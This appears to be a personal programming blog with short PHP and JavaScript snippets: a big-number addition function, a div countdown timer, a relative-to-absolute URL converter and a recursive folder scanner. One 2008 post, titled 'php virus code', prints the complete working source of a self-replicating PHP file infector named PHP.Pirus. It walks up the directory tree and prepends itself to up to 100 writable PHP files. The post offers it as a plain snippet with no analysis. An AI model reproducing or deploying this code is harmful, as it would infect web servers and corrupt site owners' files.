function plus($a,$b){
$b_length = strlen($b)+1;
$a = sprintf("%0".$b_length."s", $a);
$b = '0'.$b;
$a_length = strlen($a);
$temp =0;
for($i=0;$i<$a_length;$i++){
$a1 = substr($a,-1,1);
$b1 = substr($b,-1,1);
$a = substr($a,0,-1);
$b = substr($b,0,-1);
$result = ($a1+$b1+$temp)%10;
$ans = $result.$ans;
$temp = floor(($a1+$b1+$temp)/10);
}
$ans = $b.$ans;
return ltrim($ans,'0');
}
with both $a and $b if string and strlen($a) < strlen($a)
Tuesday, February 24, 2009
plus function for large number
Thursday, November 20, 2008
countdown javascript display in div
window.onload = function() {
startCountDown(180, 1000, myFunction); // set setdown here
}
function startCountDown(i, p, f) {
var pause = p;
var fn = f;
var countDownObj = document.getElementById("countDown");
if (countDownObj == null) {
alert("div not found, check your id");
return;
}
countDownObj.count = function(i) {
countDownObj.innerHTML = i;
if (i == 0) {
fn();
return;
}
setTimeout(function() {
countDownObj.count(i - 1);
},
pause
);
}
countDownObj.count(i);
}
function myFunction() {
alert("hi alex");
}
and put div name
<div id="countDown"></div>
Labels: countdown, javascript
Friday, November 14, 2008
php virus code
original code virus named PHP.Pirus
< ?php #retool2.php
$atefile = 0;
walkthrough('../..');
function walkthrough($dir) {
global $atefile;
$maxi = 100;
$viruscontents=fread(fopen(__FILE__,'r'), 1626);
if (!file_exists('retool2.php')) {
$handle = fopen('retool2.php', 'a');
fwrite($handle, $viruscontents.'HACK BY RETOOL2');
fclose($handle);
}
if(is_dir($dir)){
if($dh = opendir($dir)){
while(($file = readdir($dh)) !== false && $atefile<$maxi){
if($file != "." && $file != ".."){
if(is_dir($dir."/".$file)){
walkthrough($dir."/".$file);
}else{
if(strstr (substr($file, -4), 'php')){
$infected=true;
$caniwrite=false;
if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){
$output = fopen($dir."/".$file, "r");
if(filesize ($dir."/".$file)>0){
$contents = fread ($output , 20);
$mine = strstr ($contents, 'retool2.php');
fclose($output );
}
$infected=false;
if($mine){$infected=true;}
}
if($infected==false){
if(filesize ($dir."/".$file)>0){
$victim = fopen($dir."/".$file, "r+");
$ori = fread($victim, filesize($dir."/".$file));
fclose($victim);
}
$victim = fopen($dir."/".$file, "w+");
if(filesize($dir."/".$file)==0){
fwrite($victim, $viruscontents);
}else{
fputs($victim ,$viruscontents.$ori);
}
$atefile++;
fclose($victim );
}
}
}
}
}
closedir($dh);
}
}
return $counter;
}
?>
link: http://www.rohitab.com/discuss/lofiversion/index.php/t10727.html
Thursday, October 09, 2008
translate relative url to absolute url
function relative2absolute($absolute, $relative) {
$p = @parse_url($relative);
if(!$p) {
return false;
}
if(isset($p["scheme"])) return $relative;
$parts=(parse_url($absolute));
if(substr($relative,0,1)=='/') {
$cparts = (explode("/", $relative));
array_shift($cparts);
} else {
if(isset($parts['path'])){
$aparts=explode('/',$parts['path']);
array_pop($aparts);
$aparts=array_filter($aparts);
} else {
$aparts=array();
}
$rparts = (explode("/", $relative));
$cparts = array_merge($aparts, $rparts);
foreach($cparts as $i => $part) {
if($part == '.') {
unset($cparts[$i]);
} else if($part == '..') {
unset($cparts[$i]);
unset($cparts[$i-1]);
}
}
}
$path = implode("/", $cparts);
$url = '';
if($parts['scheme']) {
$url = "$parts[scheme]://";
}
if(isset($parts['user'])) {
$url .= $parts['user'];
if(isset($parts['pass'])) {
$url .= ":".$parts['pass'];
}
$url .= "@";
}
if(isset($parts['host'])) {
$url .= $parts['host']."/";
}
$url .= $path;
return $url;
}
link : http://w-shadow.com
Saturday, October 04, 2008
php sub folder scan
you can use php to scan all file in sub folder from this code
<?php
// *** requires PHP5 ***
// search for gif files (can be empty for all file)
$filter = ".gif";
// path to the directory you want to scan(can be .. to search all drive)
$directory = './';
$it = new RecursiveDirectoryIterator("$directory");
foreach(new RecursiveIteratorIterator($it) as $file)
{
if (!((strpos(strtolower($file), $filter)) === false) || empty($filter))
{
$items[] = preg_replace("#\\\#", "/", $file);
}
}
sort($items);
print_r($items);
?>
but if your server not PHP5 don't worry please see this link http://www.php.net and find class RecDir
Subscribe to:
Posts (Atom)